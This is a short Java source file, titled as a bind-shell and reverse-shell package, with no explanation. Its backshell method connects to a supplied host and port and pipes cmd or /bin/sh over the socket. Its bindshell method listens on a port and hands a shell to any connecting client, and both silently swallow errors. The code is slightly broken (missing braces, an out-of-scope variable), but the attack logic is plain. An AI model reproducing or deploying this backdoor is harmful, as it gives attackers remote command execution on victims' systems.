Java bindshell/reverseshell pakage

import java.net.Socket;

import java.net.ServerSocket;

import java.io.*;

import java.util.*;

public class back

{

    static class conn extends Thread{

        InputStream is;OutputStream os;public conn(InputStream i,OutputStream o){is=i;os=o;}

        public void run(){BufferedReader in;BufferedWriter out;try{in=new BufferedReader(new InputStreamReader(this.is));out=new BufferedWriter(new OutputStreamWriter(this.os));char buffer[]=new char[8000];int l;while((l=in.read(buffer,0,buffer.length))>0){out.write(buffer,0,l);out.flush();}}catch(Exception e){}}

    }

    public static void backshell(String host,int port)

    {

        String c=(new Properties(System.getProperties()).getProperty("os.name").indexOf("indows")>0)?"cmd":"/bin/sh";

        try{Socket s=new Socket(host,port);Process p=Runtime.getRuntime().exec(c);

        (new conn(p.getInputStream(),s.getOutputStream())).start();(new conn(s.getInputStream(),p.getOutputStream())).start();}catch(Exception e){}

    public static void bindshell(int port)

        try

        {

            Socket s = (new ServerSocket(port)).accept();Process p=Runtime.getRuntime().exec(c);

            (new conn(p.getInputStream(),s.getOutputStream())).start();(new conn(s.getInputStream(),p.getOutputStream())).start();

        }catch(Exception e){}

}